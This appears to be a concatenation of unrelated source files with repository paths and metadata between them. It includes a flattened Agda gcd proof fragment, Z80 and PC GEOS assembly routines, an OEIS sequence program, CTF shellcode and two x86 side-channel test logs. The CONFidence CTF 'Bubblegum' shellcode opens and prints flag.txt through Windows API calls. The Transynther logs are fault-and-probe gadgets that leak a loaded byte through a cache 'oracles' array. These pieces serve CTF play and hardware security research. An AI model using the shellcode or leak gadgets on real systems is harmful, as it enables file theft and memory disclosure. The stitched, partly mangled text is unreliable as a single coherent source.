(gcd (succ₁ m) (succ₁ n ∸ succ₁ m) ∣ succ₁ m) → succ₁ m ≯ succ₁ n → gcd (succ₁ m) (succ₁ n) ∣ succ₁ m gcd-S≯S-∣₁ {m} {n} Nm Nn ih Sm≯Sn = subst (λ x → x ∣ succ₁ m) (sym (gcd-S≯S m n Sm≯Sn)) ih -- gcd (succ₁ m) (succ₁ n) ∣ succ₁ m when succ₁ m > succ₁ n. -- We use gcd-∣₂. -- We apply the theorem that if m∣n and m∣o then m∣(n+o). gcd-S>S-∣₁ : ∀ {m n} → N m → N n → (gcd (succ₁ m ∸ succ₁ n) (succ₁ n) ∣ (succ₁ m ∸ succ₁ n)) → (gcd (succ₁ m ∸ succ₁ n) (succ₁ n) ∣ succ₁ n) → succ₁ m > succ₁ n → gcd (succ₁ m) (succ₁ n) ∣ succ₁ m {- Proof: 1. gcd (Sm ∸ Sn) Sn | (Sm ∸ Sn) IH 2. gcd (Sm ∸ Sn) Sn | Sn gcd-∣₂ 3. gcd (Sm ∸ Sn) Sn | (Sm ∸ Sn) + Sn m∣n→m∣o→m∣n+o 1,2 4. Sm > Sn Hip 5. gcd (Sm ∸ Sn) Sn | Sm arith-gcd-m>n₂ 3,4 6. gcd Sm Sn = gcd (Sm ∸ Sn) Sn gcd eq. 4 7. gcd Sm Sn | Sm subst 5,6 -} gcd-S>S-∣₁ {m} {n} Nm Nn ih gcd-∣₂ Sm>Sn = -- The first substitution is based on -- gcd (succ₁ m) (succ₁ n) = gcd (succ₁ m ∸ succ₁ n) (succ₁ n). subst (λ x → x ∣ succ₁ m) (sym (gcd-S>S m n Sm>Sn)) -- The second substitution is based on -- m = (m ∸ n) + n. (subst (λ y → gcd (succ₁ m ∸ succ₁ n) (succ₁ n) ∣ y) (x>y→x∸y+y≡x (nsucc Nm) (nsucc Nn) Sm>Sn) (x∣y→x∣z→x∣y+z {gcd (succ₁ m ∸ succ₁ n) (succ₁ n)} {succ₁ m ∸ succ₁ n} {succ₁ n} (gcd-N Sm-Sn-N (nsucc Nn) (λ p → ⊥-elim (S≢0 (∧-proj₂ p)))) Sm-Sn-N (nsucc Nn) ih gcd-∣₂ ) ) where Sm-Sn-N : N (succ₁ m ∸ succ₁ n) Sm-Sn-N = ∸-N (nsucc Nm) (nsucc Nn) ------------------------------------------------------------------------------ -- Some case of the gcd-∣₂ -- We don't prove that gcd-∣₂ : ... → gcd m n ∣ n. The reason is -- the same to don't prove gcd-∣₁ : ... → gcd m n ∣ m. -- gcd 0 (succ₁ n) ∣₂ succ₁ n. gcd-0S-∣₂ : ∀ {n} → N n → gcd zero (succ₁ n) ∣ succ₁ n gcd-0S-∣₂ {n} Nn = subst (λ x → x ∣ succ₁ n) (sym (gcd-0S n)) (∣-refl-S Nn) -- gcd (succ₁ m) 0 ∣ 0. gcd-S0-∣₂ : ∀ {m} → N m → gcd (succ₁ m) zero ∣ zero gcd-S0-∣₂ {m} Nm = subst (λ x → x ∣ zero) (sym (gcd-S0 m)) (S∣0 Nm) -- gcd (succ₁ m) (succ₁ n) ∣ succ₁ n when succ₁ m > succ₁ n. gcd-S>S-∣₂ : ∀ {m n} → N m → N n → (gcd (succ₁ m ∸ succ₁ n) (succ₁ n) ∣ succ₁ n) → succ₁ m > succ₁ n → gcd (succ₁ m) (succ₁ n) ∣ succ₁ n gcd-S>S-∣₂ {m} {n} Nm Nn ih Sm>Sn = subst (λ x → x ∣ succ₁ n) (sym (gcd-S>S m n Sm>Sn)) ih -- gcd (succ₁ m) (succ₁ n) ∣ succ₁ n when succ₁ m ≯ succ₁ n. -- We use gcd-∣₁. -- We apply the theorem that if m∣n and m∣o then m∣(n+o). gcd-S≯S-∣₂ : ∀ {m n} → N m → N n → (gcd (succ₁ m) (succ₁ n ∸ succ₁ m) ∣ (succ₁ n ∸ succ₁ m)) → (gcd (succ₁ m) (succ₁ n ∸ succ₁ m) ∣ succ₁ m) → succ₁ m ≯ succ₁ n → gcd (succ₁ m) (succ₁ n) ∣ succ₁ n {- Proof: 1. gcd Sm (Sn ∸ Sm) | (Sn ∸ Sm) IH 2 gcd Sm (Sn ∸ Sm) | Sm gcd-∣₁ 3. gcd Sm (Sn ∸ Sm) | (Sn ∸ Sm) + Sm m∣n→m∣o→m∣n+o 1,2 4. Sm ≯ Sn Hip 5. gcd (Sm ∸ Sn) Sn | Sm arith-gcd-m≤n₂ 3,4 6. gcd Sm Sn = gcd Sm (Sn ∸ Sm) gcd eq. 4 7. gcd Sm Sn | Sn subst 5,6 -} gcd-S≯S-∣₂ {m} {n} Nm Nn ih gcd-∣₁ Sm≯Sn = -- The first substitution is based on gcd m n = gcd m (n ∸ m). subst (λ x → x ∣ succ₁ n) (sym (gcd-S≯S m n Sm≯Sn)) -- The second substitution is based on -- n = (n ∸ m) + m. (subst (λ y → gcd (succ₁ m) (succ₁ n ∸ succ₁ m) ∣ y) (x≤y→y∸x+x≡y (nsucc Nm) (nsucc Nn) (x≯y→x≤y (nsucc Nm) (nsucc Nn) Sm≯Sn)) (x∣y→x∣z→x∣y+z {gcd (succ₁ m) (succ₁ n ∸ succ₁ m)} {succ₁ n ∸ succ₁ m} {succ₁ m} (gcd-N (nsucc Nm) Sn-Sm-N (λ p → ⊥-elim (S≢0 (∧-proj₁ p)))) Sn-Sm-N (nsucc Nm) ih gcd-∣₁ ) ) where Sn-Sm-N : N (succ₁ n ∸ succ₁ m) Sn-Sm-N = ∸-N (nsucc Nn) (nsucc Nm) ------------------------------------------------------------------------------ -- The gcd is CD. -- We will prove that gcdCD : ... → CD m n (gcd m n). -- The gcd 0 (succ₁ n) is CD. gcd-0S-CD : ∀ {n} → N n → CD zero (succ₁ n) (gcd zero (succ₁ n)) gcd-0S-CD Nn = (gcd-0S-∣₁ Nn , gcd-0S-∣₂ Nn) -- The gcd (succ₁ m) 0 is CD. gcd-S0-CD : ∀ {m} → N m → CD (succ₁ m) zero (gcd (succ₁ m) zero) gcd-S0-CD Nm = (gcd-S0-∣₁ Nm , gcd-S0-∣₂ Nm) -- The gcd (succ₁ m) (succ₁ n) when succ₁ m > succ₁ n is CD. gcd-S>S-CD : ∀ {m n} → N m → N n → (CD (succ₁ m ∸ succ₁ n) (succ₁ n) (gcd (succ₁ m ∸ succ₁ n) (succ₁ n))) → succ₁ m > succ₁ n → CD (succ₁ m) (succ₁ n) (gcd (succ₁ m) (succ₁ n)) gcd-S>S-CD {m} {n} Nm Nn acc Sm>Sn = (gcd-S>S-∣₁ Nm Nn acc-∣₁ acc-∣₂ Sm>Sn , gcd-S>S-∣₂ Nm Nn acc-∣₂ Sm>Sn) where acc-∣₁ : gcd (succ₁ m ∸ succ₁ n) (succ₁ n) ∣ (succ₁ m ∸ succ₁ n) acc-∣₁ = ∧-proj₁ acc acc-∣₂ : gcd (succ₁ m ∸ succ₁ n) (succ₁ n) ∣ succ₁ n acc-∣₂ = ∧-proj₂ acc -- The gcd (succ₁ m) (succ₁ n) when succ₁ m ≯ succ₁ n is CD. gcd-S≯S-CD : ∀ {m n} → N m → N n → (CD (succ₁ m) (succ₁ n ∸ succ₁ m) (gcd (succ₁ m) (succ₁ n ∸ succ₁ m))) → succ₁ m ≯ succ₁ n → CD (succ₁ m) (succ₁ n) (gcd (succ₁ m) (succ₁ n)) gcd-S≯S-CD {m} {n} Nm Nn acc Sm≯Sn = (gcd-S≯S-∣₁ Nm Nn acc-∣₁ Sm≯Sn , gcd-S≯S-∣₂ Nm Nn acc-∣₂ acc-∣₁ Sm≯Sn) where acc-∣₁ : gcd (succ₁ m) (succ₁ n ∸ succ₁ m) ∣ succ₁ m acc-∣₁ = ∧-proj₁ acc acc-∣₂ : gcd (succ₁ m) (succ₁ n ∸ succ₁ m) ∣ (succ₁ n ∸ succ₁ m) acc-∣₂ = ∧-proj₂ acc -- The gcd m n when m > n is CD. gcd-x>y-CD : ∀ {m n} → N m → N n → (∀ {o p} → N o → N p → Lexi o p m n → x≢0≢y o p → CD o p (gcd o p)) → m > n → x≢0≢y m n → CD m n (gcd m n) gcd-x>y-CD nzero Nn _ 0>n _ = ⊥-elim (0>x→⊥ Nn 0>n) gcd-x>y-CD (nsucc Nm) nzero _ _ _ = gcd-S0-CD Nm gcd-x>y-CD (nsucc {m} Nm) (nsucc {n} Nn) ah Sm>Sn _ = gcd-S>S-CD Nm Nn ih Sm>Sn where -- Inductive hypothesis. ih : CD (succ₁ m ∸ succ₁ n) (succ₁ n) (gcd (succ₁ m ∸ succ₁ n) (succ₁ n)) ih = ah {succ₁ m ∸ succ₁ n} {succ₁ n} (∸-N (nsucc Nm) (nsucc Nn)) (nsucc Nn) ([Sx∸Sy,Sy]<[Sx,Sy] Nm Nn) (λ p → ⊥-elim (S≢0 (∧-proj₂ p))) -- The gcd m n when m ≯ n is CD. gcd-x≯y-CD : ∀ {m n} → N m → N n → (∀ {o p} → N o → N p → Lexi o p m n → x≢0≢y o p → CD o p (gcd o p)) → m ≯ n → x≢0≢y m n → CD m n (gcd m n) gcd-x≯y-CD nzero nzero _ _ h = ⊥-elim (h (refl , refl)) gcd-x≯y-CD nzero (nsucc Nn) _ _ _ = gcd-0S-CD Nn gcd-x≯y-CD (nsucc _) nzero _ Sm≯0 _ = ⊥-elim (S≯0→⊥ Sm≯0) gcd-x≯y-CD (nsucc {m} Nm) (nsucc {n} Nn) ah Sm≯Sn _ = gcd-S≯S-CD Nm Nn ih Sm≯Sn where -- Inductive hypothesis. ih : CD (succ₁ m) (succ₁ n ∸ succ₁ m) (gcd (succ₁ m) (succ₁ n ∸ succ₁ m)) ih = ah {succ₁ m} {succ₁ n ∸ succ₁ m} (nsucc Nm) (∸-N (nsucc Nn) (nsucc Nm)) ([Sx,Sy∸Sx]<[Sx,Sy] Nm Nn) (λ p → ⊥-elim (S≢0 (∧-proj₁ p))) -- The gcd is CD. gcdCD : ∀ {m n} → N m → N n → x≢0≢y m n → CD m n (gcd m n) gcdCD = Lexi-wfind A h where A : D → D → Set A i j = x≢0≢y i j → CD i j (gcd i j) h : ∀ {i j} → N i → N j → (∀ {k l} → N k → N l → Lexi k l i j → A k l) → A i j h Ni Nj ah = case (gcd-x>y-CD Ni Nj ah) (gcd-x≯y-CD Ni Nj ah) (x>y∨x≯y Ni Nj)
libsrc/_DEVELOPMENT/arch/sms/vram/z80/asm_sms_memsetw_vram_unsafe.asm
jpoikela/z88dk
640
11848
; ======================================================================== ; ; void *sms_memsetw_vram_unsafe(void *dst, unsigned int c, unsigned int n) ; ; memset VRAM word at a time unsafe; VRAM addresses are assumed to be stable. ; ; ======================================================================== ; unsafe version has not been written yet SECTION code_clib SECTION code_crt_common PUBLIC asm_sms_memsetw_vram_unsafe EXTERN asm_sms_memsetw_vram defc asm_sms_memsetw_vram_unsafe = asm_sms_memsetw_vram ; memset vram by word ; ; enter : de = void *dst in vram ; hl = unsigned int c ; bc = unsigned int n > 0 ; ; exit : hl = void *dst, &byte after last written in vram ; de = unsigned int c ; bc = 0 ; ; uses : af, bc, de, hl
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_2268_1551.asm
ljhsiun2/medusa
9
245766
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x14bb6, %rsi lea addresses_normal_ht+0xafb6, %rdi nop cmp $24584, %r11 mov $104, %rcx rep movsw nop nop nop nop nop xor $55679, %rbx lea addresses_A_ht+0x188ce, %r8 and $39366, %rsi movl $0x61626364, (%r8) nop lfence lea addresses_WC_ht+0x3336, %r8 nop nop nop dec %rdx mov (%r8), %rsi nop xor %r11, %r11 lea addresses_WT_ht+0x39b6, %rcx nop nop sub %rdx, %rdx movl $0x61626364, (%rcx) nop nop nop nop nop add %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_UC+0x99b6, %rsi lea addresses_D+0x18cf6, %rdi clflush (%rsi) clflush (%rdi) nop nop nop cmp $4843, %rdx mov $125, %rcx rep movsb nop nop nop lfence // Load lea addresses_A+0xf5b6, %r10 nop and $5363, %rdi mov (%r10), %ax nop nop nop nop nop sub %rcx, %rcx // Store lea addresses_WT+0x142b6, %rsi clflush (%rsi) and $20699, %r10 mov $0x5152535455565758, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%rsi) // Exception!!! nop nop mov (0), %r10 nop nop nop add %rcx, %rcx // Store lea addresses_WT+0x148b6, %rdi cmp %r10, %r10 movl $0x51525354, (%rdi) nop nop nop nop xor $50071, %rdi // Store lea addresses_normal+0xb1b6, %rax nop nop nop nop add $13320, %rsi mov $0x5152535455565758, %rdi movq %rdi, %xmm3 movups %xmm3, (%rax) nop nop nop nop sub %r10, %r10 // Faulty Load lea addresses_normal+0x51b6, %rcx clflush (%rcx) nop and %r14, %r14 movups (%rcx), %xmm1 vpextrq $0, %xmm1, %rdx lea oracles, %r10 and $0xff, %rdx shlq $12, %rdx mov (%r10,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}} {'34': 2268} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
CONFidence CTF 2016/Teaser/Bubblegum/solution/shellcode.asm
IMULMUL/ctf-tasks
581
8939
<filename>CONFidence CTF 2016/Teaser/Bubblegum/solution/shellcode.asm [bits 32] ; Constants CREATEFILEW_OFFSET equ 0x2511C READFILE_OFFSET equ 0x250FC GETSTDHANDLE_OFFSET equ 0x250CC WRITEFILE_OFFSET equ 0x250D8 SLEEPEX_OFFSET equ 0x2500C STD_OUTPUT_HANDLE equ 0xfffffff5 ; Shellcode start start: ; Get the instruction pointer into EBX. call @@ @@: pop ebx ; Get the program image base into ESI. mov esi, ebx and esi, 0xffff0000 mov esi, [esi] ; Call CreateFileW() to open the flag file. push 0 ; hTemplateFile (NULL) push 0x80 ; dwFlagsAndAttributes (FILE_ATTRIBUTE_NORMAL) push 3 ; dwCreationDisposition (OPEN_EXISTING) push 0 ; lpSecurityAttributes (NULL) push 1 ; dwShareMode (FILE_SHARE_READ) push 0x80000000 ; dwDesiredAccess (GENERIC_READ) lea eax, [ebx + (flag_path) - @@] push eax ; lpFileName (L"flag.txt") call [esi + CREATEFILEW_OFFSET] ; Check for failure. test eax, eax je end ; Save the file handle in EDI. mov edi, eax ; Call ReadFile() to read the flag. push 0 ; lpOverlapped (NULL) lea eax, [ebx + (bytes_processed) - @@] push eax ; lpNumberOfBytesRead push 256 ; nNumberOfBytesToRead (256) lea eax, [ebx + (flag_buffer) - @@] push eax ; lpBuffer push edi ; hFile call [esi + READFILE_OFFSET] ; Call WriteFile() to print out the flag. push 0 ; lpOverlapped (NULL) lea eax, [ebx + (bytes_processed) - @@] push eax ; lpNumberOfBytesWritten push 256 ; nNumberOfBytesToWrite lea eax, [ebx + (flag_buffer) - @@] push eax ; lpBuffer push STD_OUTPUT_HANDLE ; nStdHandle call [esi + GETSTDHANDLE_OFFSET] push eax ; hFile call [esi + WRITEFILE_OFFSET] ; Call SleepEx() to give the kernel time to flush buffers and send the flag out. push 0 ; bAlertable (FALSE) push 5000 ; dwMilliseconds call [esi + SLEEPEX_OFFSET] end: ; Crash the application. xor eax, eax jmp eax flag_path: db 'f', 0, 'l', 0, 'a', 0, 'g', 0, '.', 0, 't', 0, 'x', 0, 't', 0, 0, 0 bytes_processed: dd 0 flag_buffer: db 0
programs/oeis/073/A073189.asm
neoneye/loda
22
88840
<gh_stars>10-100 ; A073189: Integers 0..k three times, then 0..k+1 three times, etc. ; 0,0,0,0,1,0,1,0,1,0,1,2,0,1,2,0,1,2,0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3,4,0,1,2,3,4,0,1,2,3,4,0,1,2,3,4,5,0,1,2,3,4,5,0,1,2,3,4,5,0,1,2,3,4,5,6,0,1,2,3,4,5,6,0,1,2,3,4,5,6,0,1,2,3,4,5,6,7,0,1,2,3,4,5,6,7 lpb $0 mov $1,$0 add $2,1 mod $1,$2 mov $3,3 mul $3,$2 trn $0,$3 lpe mov $0,$1
Driver/Printer/PrintCom/Page/pageStartASFOnly.asm
steakknife/pcgeos
504
160556
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: LBP printer driver FILE: pageStartASFOnly.asm AUTHOR: <NAME> ROUTINES: Name Description ---- ----------- PrintStartPage initialize the page-related variables, called once/page by EXTERNAL at start of page. REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 5/3/91 initial version DESCRIPTION: $Id: pageStartASFOnly.asm,v 1.1 97/04/18 11:51:41 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%} COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrintStartPage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the page CALLED BY: GLOBAL PASS: bp - PSTATE segment address. cl - Suppress form feed flag, C_FF is FF non-suppressed RETURN: carry - set if some transmission error DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: nothing REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 3/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%} PrintStartPage proc far uses ds,dx .enter ; start cursor out at top,left position call PrintHomeCursor ;start out from home position. ; init font style. clr dx ; init styles to all clear call PrintSetStyles ; set clear styles .leave ret PrintStartPage endp
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_1780.asm
ljhsiun2/medusa
9
166453
.global s_prepare_buffers s_prepare_buffers: push %r10 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x5661, %r10 nop nop xor %rdx, %rdx mov (%r10), %rbp nop nop nop nop and $13182, %rcx lea addresses_UC_ht+0xee21, %rdi nop nop nop nop nop xor $54340, %r10 mov (%rdi), %rbx nop xor %rbx, %rbx lea addresses_D_ht+0x1c781, %rsi lea addresses_normal_ht+0xfdd1, %rdi cmp %rbp, %rbp mov $95, %rcx rep movsl nop cmp $17661, %rsi lea addresses_WT_ht+0x6e11, %rdx add $39098, %rcx movups (%rdx), %xmm6 vpextrq $0, %xmm6, %r10 and %rcx, %rcx lea addresses_A_ht+0x1d4e1, %rcx inc %rsi mov $0x6162636465666768, %rbx movq %rbx, %xmm0 vmovups %ymm0, (%rcx) nop nop nop nop inc %rdx lea addresses_WT_ht+0x11ce1, %r10 nop nop sub %rdx, %rdx mov (%r10), %rbx nop nop nop add %rbp, %rbp lea addresses_A_ht+0x304b, %rbx sub $8478, %rdx mov (%rbx), %rdi nop nop nop nop nop and %rdi, %rdi lea addresses_normal_ht+0x101f5, %rdx clflush (%rdx) cmp %rsi, %rsi movb (%rdx), %cl nop mfence pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_A+0x34e1, %rsi nop add %rdi, %rdi mov $0x5152535455565758, %r15 movq %r15, (%rsi) nop nop and %rbx, %rbx // Store lea addresses_WT+0x4409, %rcx nop nop xor %r11, %r11 mov $0x5152535455565758, %rbx movq %rbx, %xmm6 movups %xmm6, (%rcx) and %rdi, %rdi // Faulty Load lea addresses_A+0x34e1, %r15 nop add $32674, %r8 movb (%r15), %cl lea oracles, %r8 and $0xff, %rcx shlq $12, %rcx mov (%r8,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 